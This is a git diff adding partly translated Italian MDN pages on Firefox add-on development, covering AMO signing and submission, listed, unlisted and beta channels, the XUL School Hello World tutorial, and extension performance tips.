</span></span><em>xpinstall.signatures.required</em><span lang="it"><span> in about: config.</span></span></p>
+
+<p>Solo Mozilla può firmare il componente aggiuntivo in modo che Firefox lo installi per impostazione predefinita.I componenti aggiuntivi vengono firmati<a href="https://addons.mozilla.org/en-US/developers/addon/submit/1">submitting them to AMO</a> o utilizzando l'API e passando una revisione automatica o manuale del codice. Si noti che non è necessario elencare o distribuire il componente aggiuntivo tramite AMO. Se stai distribuendo il componente aggiuntivo da soli, di può scegliere l'opzione Unlisted e AMO servirà solo per firmare il pacchetto contenente il componente aggiuntivo.</p>
+
+<h3 id="API_per_la_firma">API per la firma</h3>
+
+<p>Voi potete firmare il vostro file <a href="/en-US/docs/XPI">XPI</a> usando le <a href="http://olympia.readthedocs.org/en/latest/topics/api/signing.html">addons.mozilla.org signing API</a>. Se usate il tool <a href="/en-US/Add-ons/SDK/Tools/jpm">jpm</a>, il comando <a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_sign">jpm sign</a> utilizza le API per firmare il vostro componente aggiuntivo.</p>
+
+<h2 id="Inviare_ad_AMO">Inviare ad AMO</h2>
+
+<p>Il nuovo componente aggiuntivo è inviato ad AMO tramite <a href="https://addons.mozilla.org/en-US/developers/addon/submit/1">questa form di invio</a>. Il primo passo è leggere e poi accettare <a href="/en-US/Add-ons/AMO/Policy/Agreement">Developer Agreement</a>.</p>
+
+<p>Successivamente, dovrete decidere se vorrete distribuire e pubblicizzare il vostro componente aggiuntivo tramite AMO oppure no. Ecco alcune cose da prendere in considerazione per prendere questa decisione:</p>
+
+<ul>
+ <li>AMO is a very popular distribution platform, with millions of monthly visitors and installations. It is integrated into the Firefox Add-ons Manager, allowing easy installation of published AMO add-ons directly from the Firefox UI.</li>
+ <li>All add-ons listed on AMO are code-reviewed and tested by a team of employees and volunteers. They need to meet various technical and content policies in order to be accepted. Because of this, review times can range between a few hours to a number of weeks, depending on add-on complexity and other factors.</li>
+ <li>Unlisted add-ons are for the most part automatically reviewed and signed. The add-ons review team may from time to time perform a manual review of your signed files and give you feedback about it.</li>
+ <li>When you make updates to your add-on to add features or fix bugs, you'll want any previously installed versions of the add-on to update themselves to the new version.
+  <ul>
+   <li>If you list your add-on on AMO, then all you have to do here is submit the new version to AMO: add-ons default to checking AMO for new versions of themselves.</li>
+   <li>If you do not list your add-on on AMO, you need to tell the host application (e.g. Firefox) where it can find new versions of your add-on. To do this, include a URL in the add-on's manifest called the <a href="/en-US/Add-ons/Install_Manifests#updateURL">updateURL</a>: the host application will go here to get information about updates. At the updateURL you host a file in the <a href="/en-US/docs/Extension_Versioning,_Update_and_Compatibility#Update_RDF_Format">update RDF format</a>: among other things, this file includes another URL called updateLink which points to the updated XPI itself. If you're using the Add-on SDK, see <a href="/en-US/Add-ons/SDK/Tools/jpm#Supporting_updates_for_self-hosted_add-ons">Supporting updates for self-hosted add-ons</a>.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>You should make this decision carefully, as it isn't easy to switch between Listed and Unlisted at present. Due to some platform limitations, in order to make the switch you'll need to delete your add-on entry and then <a href="mailto:amo-admins@mozilla.org">contact the AMO Admins list</a> in order to enable your add-on ID so you can submit it again. You should also know that if you switch from Listed to Unlisted, your current users won't be automatically migrated to the unlisted versions of your add-on. Switching from Unlisted to Listed is easier because Firefox will check for updates on AMO if an add-on doesn't have an updateURL in its install manifest.</p>
+
+<h3 id="Unlisted_add-ons">Unlisted add-ons</h3>
+
+<p>After accepting the Developer Agreement, you'll be asked if you want to list your add-on on AMO. Make sure you choose not to list it.</p>
+
+<p>You'll then be asked if you want your add-on to be side-loaded or not. Side-loading is when your add-on XPI isn't installed directly by users but instead it is bundled in an application installer. An example of this would be an antivirus software package that includes a companion security extension. If your add-on XPI will be installed directly from the web or downloaded and installed manually by your users, then you don't need this option.</p>
+
+<div class="note">
+<p>Internally, AMO labels unlisted add-on submissions that require side-loading as Full Review submissions, and all the rest as Preliminary Review submissions. You may find these labels when looking at your add-on review status. Note that there's no difference between full and preliminary review for unlisted add-ons, other than the ability to side-load the add-on.</p>
+</div>
+
+<p>Choose the platforms your add-on supports and upload your XPI. The file will be scanned by an automatic code validator which will show a number or warnings or errors depending on what it detects. If no errors are found in your package, your add-on management page will be created and your file will be immediately signed. You'll receive an email with instructions on how to download the signed file.</p>
+
+<p>All new versions of your add-ons will also need to signed. Once your first version has been submitted, you can upload new versions in the developer page for your add-on.  The signing process is the same as with new add-ons.</p>
+
+<h3 id="Listed_add-ons">Listed add-ons</h3>
+
+<p>After accepting the Developer Agreement, you'll be asked if you want to list your add-on on AMO. Listing it should be the default option.</p>
+
+<p>Choose the platforms your add-on supports and upload your XPI. The file will be scanned by an automatic code validator which will show a number of warnings or errors depending on what it detects. Errors only show up for listed add-ons if there's something wrong in the package that needs to be fixed before it can be accepted. Warnings can vary in importance and severity; you should read through all of them carefully and see if there's anything you can fix in your add-on in order to avoid them showing up. This doesn't mean that you should obfuscate your code to bypass validation warnings. That practice can lead to your add-on being rejected and potentially blocklisted.</p>
+
+<p>Once you finish your listed add-on submission, it will be placed in a review queue, where one member of our review team will eventually give it a look. This can take between a couple of hours to a number of weeks, depending on add-on complexity and other factors. It also takes longer for the first submission, since all of the code needs to be reviewed. Updates are reviewed based on a diff, so they are quicker. Once your add-on passes review, the file is signed and published on AMO.</p>
+
+<p>Listed add-ons can be submitted for Preliminary Review or Full Review.  Preliminary Review consists of security and content checks, focused on the add-on's code. Full Review is a higher standard, and reviews include feature testing and performance checks. Add-ons with Full Review have more prominence on the site and can be nominated to be <a href="/en-US/Add-ons/AMO/Policy/Featured">featured</a>. Add-ons that are nominated for Full Review and don't meet that standard may receive Preliminary Review approval instead.</p>
+
+<h4 id="Beta_versions">Beta versions</h4>
+
+<p>Beta channels are only available to fully-reviewed add-ons.</p>
+
+<p>To create a beta channel, upload a file with a unique version string that contains any of the following strings: <code>a,b,alpha,beta,pre,rc</code>, with an optional number at the end. This text must come at the end of the version string. If you understand regex format, here's what we look for in the version number: <code>"(a|alpha|b|beta|pre|rc)\d*$"</code>.</p>
+
+<p>Once a file meeting this criteria is uploaded to AMO, it will automatically be detected as a beta version. Users of add-ons with these unique version numbers will automatically be served the newest beta updates. Beta versions are treated like unlisted add-on versions, in that they will be accepted and signed immediately if they pass automatic validation.</p>
+
+<p>While we call these "Beta versions", you can use this channel for nightlies, or alphas, or prerelease versions as you wish. Please note that there is only one channel for this purpose and all of your users on this channel will receive the latest add-ons submitted. For instance, if you upload <code>1.0beta1</code> to the release channel and then upload <code>1.1alpha1</code>, all users of <code>1.0beta1</code> will be offered an upgrade to <code>1.1alpha1</code>. Updates are pushed by submission date and not version number, so users will always get the most recent channel update regardless of any kind of alphabetical sorting.</p>
+
+<h2 id="Ownership">Ownership</h2>
+
+<p>Add-ons can have multiple users with permission to update and manage the listing. Existing authors of an add-on can transfer ownership and add additional developers to an add-on's listing through the Developer Tools provided. No interaction with Mozilla representatives is necessary for a transfer of ownership.</p>
+
+<h2 id="Code_disputes">Code disputes</h2>
+
+<p>Many add-ons allow their source code to be openly viewed. This does not mean that the source code is open source or available for use in another add-on. The original author of an add-on retains copyright of their work unless otherwise noted in the add-on's license.</p>
+
+<p>In the event that we're notified of a copyright or license infringement, we will take steps to address the situation per the DMCA, which may include taking down the add-on listing. Details about this process and how to report trademark or licensing issues can be <a href="https://www.mozilla.org/en-US/about/legal/report-abuse/">found here</a>.</p>
+
+<p>If you are unsure of the current copyright status of an add-on's source code, you must contact the original author and receive explicit permission before using the source code.</p>
diff --git a/files/it/mozilla/add-ons/overlay_extensions/firefox_addons_developer_guide/index.html b/files/it/mozilla/add-ons/overlay_extensions/firefox_addons_developer_guide/index.html
new file mode 100644
index 0000000000..eef336d088
--- /dev/null
+++ b/files/it/mozilla/add-ons/overlay_extensions/firefox_addons_developer_guide/index.html
@@ -0,0 +1,29 @@
+---
+title: Firefox addons developer guide
+slug: Mozilla/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide
+translation_of: Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide
+---
+<div>
+ <div>
+  La guida per sviluppatori Firefox Add-ons è stata inviata da nostra <span class="highlight" id="ouHighlight__65_73TO68_75">comunità</span> del Giappone; Esso copre come andare sulla creazione di estensioni per Firefox utilizzando XPCOM e XUL. In questi giorni, si consiglia di utilizzare invece il SDK del componente aggiuntivo, ma ci sono momenti quando è necessario il controllo aggiuntivo offerto da un approccio più diretto.</div>
+ <br>
+ <div>
+  {{Next ("Firefox addons sviluppatore guida/introduzione alle estensioni")}}</div>
+ <br>
+ <ol>
+  <li>Introduzione alle estensioni</li>
+  <li>Tecnologie utilizzate nello sviluppo di estensioni</li>
+  <li>Introduzione a XUL — come costruire un'interfaccia utente più intuitiva</li>
+  <li>Utilizzando XPCOM — implementazione avanzata di processi</li>
+  <li>Costruiamo un'estensione per Firefox</li>
+  <li>Applicazioni XUL e estensioni di Firefox</li>
+ </ol>
+ <br>
+ <ul>
+  <li>Licenza e autori</li>
+ </ul>
+ <br>
+ <div>
+  {{Next ("Firefox addons sviluppatore guida/introduzione alle estensioni")}}</div>
+</div>
+<p> </p>
diff --git a/files/it/mozilla/add-ons/overlay_extensions/index.html b/files/it/mozilla/add-ons/overlay_extensions/index.html
new file mode 100644
index 0000000000..6b6ac40112
--- /dev/null
+++ b/files/it/mozilla/add-ons/overlay_extensions/index.html
@@ -0,0 +1,71 @@
+---
+title: Overlay extensions
+slug: Mozilla/Add-ons/Overlay_Extensions
+tags:
+  - Add-ons
+  - Extensions
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Add-ons/Overlay_Extensions
+---
+<p>This page contains links to documentation for the approach to developing extensions for Gecko-based applications which uses:</p>
+<ul>
+ <li>XUL overlays to specify the interface</li>
+ <li>APIs available to privileged code such as <a href="/en-US/docs/XUL/tabbrowser"><code>tabbrowser</code></a> and <a href="/en-US/docs/Mozilla/JavaScript_code_modules">JavaScript modules</a> to interact with the application and content.</li>
+</ul>
+<p>Before Gecko 2.0 was released this was the only way to develop extensions. Now there are two alternative techniques: <a href="/en-US/docs/Extensions/Bootstrapped_extensions">restartless extensions</a> and <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/">Add-on SDK-based extensions</a>. The privileged JavaScript APIs described here can still be used by the newer techniques.</p>
+<h2 id="XUL_School">XUL School</h2>
+<p><a href="/en-US/Add-ons/Overlay_Extensions/XUL_School">XUL School</a> is a comprehensive add-on development tutorial, focusing on Firefox extension development but mostly applicable to other Gecko-based applications.</p>
+<h2 id="More_resources">More resources</h2>
+<div class="column-container">
+ <div class="column-half">
+  <dl>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Setting_up_extension_development_environment">Setting up your environment</a></dt>
+   <dd>
+    Setting up the application for extension development.</dd>
+   <dt>
+    <a href="/en-US/docs/XUL">XUL</a></dt>
+   <dd>
+    Tutorials and reference for the user interface language used by XUL extensions.</dd>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Code_snippets">Code snippets</a></dt>
+   <dd>
+    Sample code for many of the things you'll want to do.</dd>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Installing_extensions">Installing extensions</a></dt>
+   <dd>
+    How to install an extension by copying the extension files into the application's install directory.</dd>
+   <dt>
+    <a href="/en-US/Add-ons/Overlay_extensions/Firefox_addons_developer_guide">Firefox add-ons developer guide</a></dt>
+   <dd>
+    A guide to developing overlay extensions.</dd>
+  </dl>
+ </div>
+ <div class="column-half">
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Mozilla/JavaScript_code_modules">JavaScript code modules</a></dt>
+   <dd>
+    JavaScript modules available to extension developers.</dd>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Inline_Options">Extension preferences</a></dt>
+   <dd>
+    How to specify the preferences for your extension that will appear in the Add-ons Manager.</dd>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Extension_Frequently_Asked_Questions">Frequently Asked Questions</a></dt>
+   <dd>
+    Common issues with extension development.</dd>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Extension_Packaging">Extension packaging</a></dt>
+   <dd>
+    How extensions are packaged and installed.</dd>
+   <dt>
+    <a href="/en-US/Mozilla/Add-ons/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System">Binary Firefox extensions</a></dt>
+   <dd>
+    Creating binary extensions for Firefox.</dd>
+  </dl>
+ </div>
+</div>
+<p> </p>
diff --git a/files/it/mozilla/add-ons/overlay_extensions/xul_school/getting_started_with_firefox_extensions/index.html b/files/it/mozilla/add-ons/overlay_extensions/xul_school/getting_started_with_firefox_extensions/index.html
new file mode 100644
index 0000000000..3857bb6773
--- /dev/null
+++ b/files/it/mozilla/add-ons/overlay_extensions/xul_school/getting_started_with_firefox_extensions/index.html
@@ -0,0 +1,71 @@
+---
+title: Getting Started with Firefox Extensions
+slug: >-
+  Mozilla/Add-ons/Overlay_Extensions/XUL_School/Getting_Started_with_Firefox_Extensions
+translation_of: >-
+  Archive/Add-ons/Overlay_Extensions/XUL_School/Getting_Started_with_Firefox_Extensions
+---
+<p>{{ PreviousNext("XUL_School/Introduction", "XUL_School/The_Essentials_of_an_Extension") }}</p>
+<h2 id="Che_cos'è_un'estensione_di_Firefox">Che cos'è un'estensione di Firefox?</h2>
+<blockquote>
+ <p>Le estensioni aggiungono funzionalità alle applicazioni di Mozilla come Firefox e Thunderbird. Possono aggiungere qualsiasi cosa da un pulsante sulla barra degli strumenti a funzionalità completamente nuove. Permettono di personalizzare l'applicazione per soddisfare le necessità personali di qualsiasi utente che le necessiti, permettendo comunque di mantenere dimensioni ridotte.</p>
+</blockquote>
+<p>Tratto dalla <a href="/en/Extensions" title="en/Extensions">Pagina della estensioni</a>.</p>
+<p>Come descritto nel testo virgolettato, un'estensione è una piccola applicazione che aggiunge qualcosa di nuovo a una o più applicazioni Mozilla. Questo corso si focalizza sulle estensioni per Firefox, ma gli stessi principi sono validi (quasi identicamente) per qualsiasi altra applicazione come per esempio,Thunderbird, Seamonkey e Flock.</p>
+<p>Vale la pena notare che ci sono delle differenze nelle definizioni di <em>estensione</em> e <em>add-on</em>. Tutte le estensioni sono degli <em>add-ons</em>, ma gli <em>add-ons</em> possono anche essere temi, <em>plugin</em> o traduzioni (<em>language packs</em>). Questo corso riguarda lo sviluppo delle applicazioni, ma anche i temi e i <em>language pack</em> si sviluppano in modo molto simile. I <em>plugin</em> sono tutt'altra cosa e non saranno spiegati in questo corso. Puoi trovare più informazioni sui <em>plugin</em> e il loro sviluppo nella <a href="/en/Plugins" title="en/Plugins">pagina dei plugins</a>.</p>
+<p>Firefox provides a very rich and flexible architecture that allows extension developers to add advanced features, customize the user's experience, and completely replace and remove parts of the browser. The <a class="link-https" href="https://addons.mozilla.org" title="https://addons.mozilla.org/">Mozilla Add-ons</a> repository (AMO) holds an extensive number of extensions with a wide variety of functions: content filtering (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1865" title="https://addons.mozilla.org/en-US/firefox/addon/1865">AdBlock Plus</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/722" title="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a>), web application interaction (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3615" title="https://addons.mozilla.org/en-US/firefox/addon/3615">Delicious Bookmarks</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5202" title="https://addons.mozilla.org/en-US/firefox/addon/5202">eBay Companion</a>) and web development (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843" title="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a>). These are very advanced and complex extensions, and you'll learn most of what it takes to create extensions like these (Glaxstar actually worked on 3 of those listed).</p>
+<p>Extensions now exist in 3 different forms: <a class="link-https" href="https://addons.mozilla.org/en-US/developers/builder" title="https://addons.mozilla.org/en-US/developers/builder">Add-ons SDK extensions</a> (also known as Jetpacks), <a href="/en/Extensions/Bootstrapped_extensions" title="https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions">bootstrapped extensions</a> and traditional extensions. If you're only getting started developing add-ons, the Add-ons SDK provides a great way to quickly create simple ones and build on them. This tutorial focuses on traditional extensions, which are created differently. Bootstrapped extensions are a step above traditional ones in complexity, so you should go through this tutorial before giving them a try.</p>
+<p>We'll begin the tutorial by analyzing a very simple extension.</p>
+<h2 id="The_Hello_World_Extension">The Hello World Extension</h2>
+<p>Our sample extensions and this tutorial in general are meant for modern versions of Firefox, but most of it works on older versions too.</p>
+<p>We'll now begin with a basic "Hello World" extension. Let's start by installing it. Click on the link below.</p>
+<p><a href="/@api/deki/files/5139/=xulschoolhello1.xpi" title="https://developer.mozilla.org/@api/deki/files/5139/=xulschoolhello1.xpi">Install Hello World</a></p>
+<p>This will either trigger an install or a file download, depending on the content type the web server is using for the file. The appropriate content type to trigger an install is <strong>application/x-<strong>xpinstall</strong></strong>. In the case of this wiki, the content type is properly set and a install window should appear.</p>
+<p>If the content type is set correctly, you will probably get notified that the site is not allowed to install add-ons on Firefox. This is a security barrier that prevents sites from installing extensions without user consent. It is necessary because malicious extensions can do the same level of harm as any malicious program: stealing data, erasing or replacing files, and causing unwanted behavior in general. <a class="link-https" href="https://addons.mozilla.org/" title="https://addons.mozilla.org/">AMO</a> is the only pre-allowed site because all published add-ons on AMO have gone through a review process that includes security checks.</p>
+<p>After downloading the file, you can drag and drop it into the Firefox content area, and installation should begin.</p>
+<p>You'll see a window telling you that you're about to install an extension, with some additional information such as the name of the author. You'll see a message saying that the author cannot be verified. Only extensions signed with a digital certificate can verify authorship. Signed extensions are rare, but we'll cover how to sign them later on.</p>
+<p>Click on the Install Now button. After the extension is installed, you'll be asked to restart Firefox. Installing, uninstalling, enabling and disabling add-ons require a restart to complete, with the exception of NPAPI plugins, Add-ons SDK extensions and bootstrapped extensions. This is an important point to keep in mind if you're building an extension that manipulates other extensions or themes.</p>
+<p>After installing, look at the main Firefox window and see if you notice anything different.</p>
+<p>Did you see it? There's a new menu on the main menu, labeled "Hello World!". If you open the menu and then the menu item below, you'll see a nice alert message (for some definitions of 'nice'). Click on the OK button to close it.</p>
+<p><img alt="" class="internal" src="https://developer.mozilla.org/@api/deki/files/4138/=helloworldalert.png" style="width: 326px; height: 126px;"></p>
+<p>That's all the extension does. Now let's take a closer look at it.</p>
+<h2 id="Extension_Contents">Extension Contents</h2>
+<p>You may have noticed that the extension file you installed is named <em>xulschoolhello1.xpi</em>. <a href="/en/XPI" title="en/XPI">XPI</a> (pronounced "zippy") stands for Cross-Platform Installer, because the same installer file can work on all platforms Firefox supports. XPIs are simply ZIP files, but Firefox recognizes the XPI extension and triggers the installation process when an XPI file is loaded.</p>
+<p>To look into the XPI file you need to download it first, not install it. If the server triggers an install when clicking on a link or button, what you need to do is right click on the <a href="/@api/deki/files/5139/=xulschoolhello1.xpi" title="https://developer.mozilla.org/@api/deki/files/5139/=xulschoolhello1.xpi">install link</a>, and choose the <em>Save Link As...</em> option.</p>
+<p>Decompress the XPI file in a convenient location. Issue the following command to unzip the file on Linux or Mac OS X:</p>
+<pre class="syntaxbox">unzip xulschoolhello1.xpi -d xulschoolhello1
+</pre>
+<p>On Windows, you can change the file extension fro<span style="font-style: italic;">m </span><em>xpi</em> to <em>zip,</em> or open the file directly, then unzip it, using a ZIP tool.</p>
+<p>You should see the following directory structure:</p>
+<ul>
+ <li>xulschoolhello1
+  <ul>
+   <li>chrome.manifest</li>
+   <li>install.rdf</li>
+   <li>content
+    <ul>
+     <li>browserOverlay.xul</li>
+     <li>browserOverlay.js</li>
+    </ul>
+   </li>
+   <li>skin
+    <ul>
+     <li>browserOverlay.css</li>
+    </ul>
+   </li>
+   <li>locale
+    <ul>
+     <li>en-US
+      <ul>
+       <li>browserOverlay.dtd</li>
+       <li>browserOverlay.properties</li>
+      </ul>
+     </li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+<p>That's lots of files for something so simple! In the next section, we'll inspect these files and see what they do.</p>
+<p>{{ PreviousNext("XUL_School/Introduction", "XUL_School/The_Essentials_of_an_Extension") }}</p>
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/it/mozilla/add-ons/overlay_extensions/xul_school/index.html b/files/it/mozilla/add-ons/overlay_extensions/xul_school/index.html
new file mode 100644
index 0000000000..085c07b26f
--- /dev/null
+++ b/files/it/mozilla/add-ons/overlay_extensions/xul_school/index.html
@@ -0,0 +1,71 @@
+---
+title: XUL School Tutorial
+slug: Mozilla/Add-ons/Overlay_Extensions/XUL_School
+tags:
+  - Add-ons
+  - Extensions
+  - NeedsTranslation
+  - References
+  - TopicStub
+  - Tutorials
+  - XUL
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School
+---
+<p>XUL School è una guida per lo sviluppo di estensioni, che si focalizza sulla creazione di estensioni per Firefox. Si raccomanda di leggere almeno una volta tutto il contenuto. Il contenuto di questa guida sarà aggiornato e valido, anche mentre Firefox cambia rapidamente.</p>
+
+<dl>
+ <dt>Introduzione</dt>
+ <dd>
+ <ul>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Introduction" title="XUL/School_tutorial/Introduction">Introduzione</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Getting_Started_with_Firefox_Extensions" title="XUL/School_tutorial/Getting Started with Firefox Extensions">Getting Started with Firefox Extensions</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/The_Essentials_of_an_Extension" title="XUL/School_tutorial/The Essentials of an Extension">Le parti importanti di un'estensione</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Setting_Up_a_Development_Environment" title="XUL/School_tutorial/Setting Up a Development Environment">Preparare un'ambiente di sviluppo</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/JavaScript_Object_Management" title="XUL/School_tutorial/JavaScript Object Management">JavaScript Object Management</a></li>
+ </ul>
+ </dd>
+ <dt>Basic functionality</dt>
+ <dd>
+ <ul>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Adding_menus_and_submenus" title="XUL/School_tutorial/Adding menus and submenus">Aggiungere menu e sottomenu</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Adding_Toolbars_and_Toolbar_Buttons" title="XUL/School_tutorial/Adding Toolbars and Toolbar Buttons">Aggiungere Toolbars e pulsanti nelle Toolbar</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Adding_Events_and_Commands" title="XUL/School_tutorial/Adding Events and Commands">Aggiungere eventi e comandi</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Adding_windows_and_dialogs" title="XUL/School_tutorial/Adding windows and dialogs">Aggiungere finestre and pannelli di dialogo</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Adding_sidebars" title="XUL/School_tutorial/Adding sidebars">Aggiungere barre laterali</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/User_Notifications_and_Alerts" title="XUL/School_tutorial/User Notifications and Alerts">Notifiche e sveglie</a></li>
+ </ul>
+ </dd>
+ <dt>Intermediate functionality</dt>
+ <dd>
+ <ul>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Intercepting_Page_Loads" title="XUL/School_tutorial/Intercepting Page Loads">Intercettare il caricamento delle pagine</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Connecting_to_Remote_Content" title="XUL/School_tutorial/Connecting to Remote Content">Connettersi a contenuti remoti</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Handling_Preferences" title="XUL/School_tutorial/Handling Preferences">Gestire le preferenze</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Local_Storage" title="XUL/School_tutorial/Local Storage">Salvataggio dati in locale </a></li>
+ </ul>
+ </dd>
+ <dt>Advanced topics</dt>
+ <dd>
+ <ul>
+  <li><a href="/en-US/docs/XUL/School_tutorial/The_Box_Model" title="XUL/School_tutorial/The Box Model">The Box Model</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/XPCOM_Objects" title="XUL/School_tutorial/XPCOM Objects">XPCOM Objects</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Observer_Notifications" title="XUL/School_tutorial/Observer Notifications">Observer Notifications</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Custom_XUL_Elements_with_XBL" title="XUL/School_tutorial/Custom XUL Elements with XBL">Custom XUL Elements with XBL</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Mozilla_Documentation_Roadmap" title="XUL/School_tutorial/Mozilla Documentation Roadmap">Mozilla Documentation Roadmap</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Useful_Mozilla_Community_Sites" title="XUL/School_tutorial/Useful Mozilla Community Sites">Useful Mozilla Community Sites</a></li>
+ </ul>
+ </dd>
+ <dt>Appendices</dt>
+ <dd>
+ <ul>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Appendix_A:_Add-on_Performance" title="XUL/School_tutorial/Appendix A: Add-on Performance">Appendix A: Add-on Performance</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Appendix_B:_Install_and_Uninstall_Scripts" title="XUL/School_tutorial/Appendix B: Install and Uninstall Scripts">Appendix B: Install and Uninstall Scripts</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Appendix_C:_Avoid_using_eval_in_Add-ons" title="XUL/School_tutorial/Appendix C: Avoid using eval in Add-ons">Appendix C: Avoiding using eval in Add-ons</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Appendix_D:_Loading_Scripts" title="XUL/School_tutorial/Appendix D: Loading Scripts">Appendix D: Loading Scripts</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/DOM_Building_and_HTML_Insertion" title="XUL/School_tutorial/Appendix E: DOM Building and HTML Insertion">Appendix E: DOM Building and HTML Insertion</a></li>
+  <li><a href="/en-US/docs/XUL/School_tutorial/Appendix_F:_Monitoring_DOM_changes" title="XUL/School_tutorial/Appendix F: Monitoring DOM changes">Appendix F: Monitoring DOM changes</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<p>The XUL School project was developed by <a href="http://appcoast.com/" title="http://appcoast.com/">Appcoast</a> (formerly Glaxstar). The project is now published here following its <a href="/Project:Copyrights" title="https://developer.mozilla.org/Project:Copyrights">sharing licenses</a>. Its contents have been modified from the original source as necessary.</p>
diff --git a/files/it/mozilla/add-ons/performance_best_practices_in_extensions/index.html b/files/it/mozilla/add-ons/performance_best_practices_in_extensions/index.html
new file mode 100644
index 0000000000..6908930ec7
--- /dev/null
+++ b/files/it/mozilla/add-ons/performance_best_practices_in_extensions/index.html
@@ -0,0 +1,104 @@
+---
+title: Performance best practices in extensions
+slug: Mozilla/Add-ons/Performance_best_practices_in_extensions
+translation_of: Archive/Add-ons/Performance_best_practices_in_extensions
+---
+<p>
+  One of Firefox's great advantages is its extreme extensibility. Extensions
+  can do almost anything. There is a down side to this: poorly written
+  extensions can have a severe impact on the browsing experience, including on
+  the overall performance of Firefox itself. This article offers some best
+  practices and suggestions that can not only improve the performance and speed
+  of your extension, but also of Firefox itself.
+</p>
+
+<h2 id="Improving_startup_performance">Improving startup performance</h2>
+
+<p>Extensions are loaded and run whenever a new browser window opens. That means every time a window opens, your extension can have an impact on how long it takes the user to see the content they're trying to view. There are several things you can do to reduce the amount of time your extension delays the appearance of the user's desired content.</p>
+
+<h3 id="Load_only_what_you_need_when_you_need_it">Load only what you need, when you need it</h3>
+
+<p>Don't load things during startup that are only needed if the user clicks a button, or if a given preference is enabled when it's not. If your extension has features that only work when the user has logged into a service, don't load the resources for those features until the user actually logs in.</p>
+
+<h3 id="Use_JavaScript_code_modules">Use JavaScript code modules</h3>
+
+<p>You can create your own <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Using" title="/en-US/docs/Mozilla/JavaScript_code_modules/Using">JavaScript code modules</a> incorporating sets of features that are only needed under specific circumstances. This makes it easy to load chunks of your extension on the fly as needed, instead of loading everything all at once.</p>
+
+<p>
+  While JavaScript modules can be extremely useful, and provide significant performance benefits, they should be used wisely. Loading modules incurs a small cost, so breaking code up to an unnecessary degree can be counter-productive. Code should be modularized to the extend that doing so increases clarity, and loading of large or expensive chunks of code fragments can be significantly deferred.
+</p>
+
+<h3 id="Defer_everything_that_you_can">Defer everything that you can</h3>
+
+<p>Most extensions have a load event listener in the main overlay that runs their startup functions. Do as little as possible here. The browser window is blocked while your add-on's load handler runs, so the more it does, the slower Firefox will appear to the user.</p>
+
+<p>If there is <em>anything</em> that can be done even a fraction of a second later, you can use an {{ interface("nsITimer") }} or the {{ domxref("window.setTimeout()") }} method to schedule that work for later.  Even a short delay can have a big impact.</p>
+
+<h2 id="General_Performance_Tips">General Performance Tips</h2>
+
+<h3 id="Avoid_Creating_Memory_Leaks">Avoid Creating Memory Leaks</h3>
+
+<p>Memory leaks require the garbage collector and the cycle collector to work harder, which can significantly degrade performance.</p>
+
+<p>Zombie compartments are a particular kind of memory leak that you can detect with minimal effort.  See the<a href="/en/Zombie_compartments" title="en/Zombie_compartments"> </a><a href="/en/Zombie_compartments" title="en/Zombie_compartments">Zombie compartments page</a>, especially the <a href="/en/Zombie_compartments#Proactive_checking_of_add-ons" title="en/Zombie_compartments#Proactive_checking_of_add-ons">Proactive checking of add-ons</a> section.</p>
+
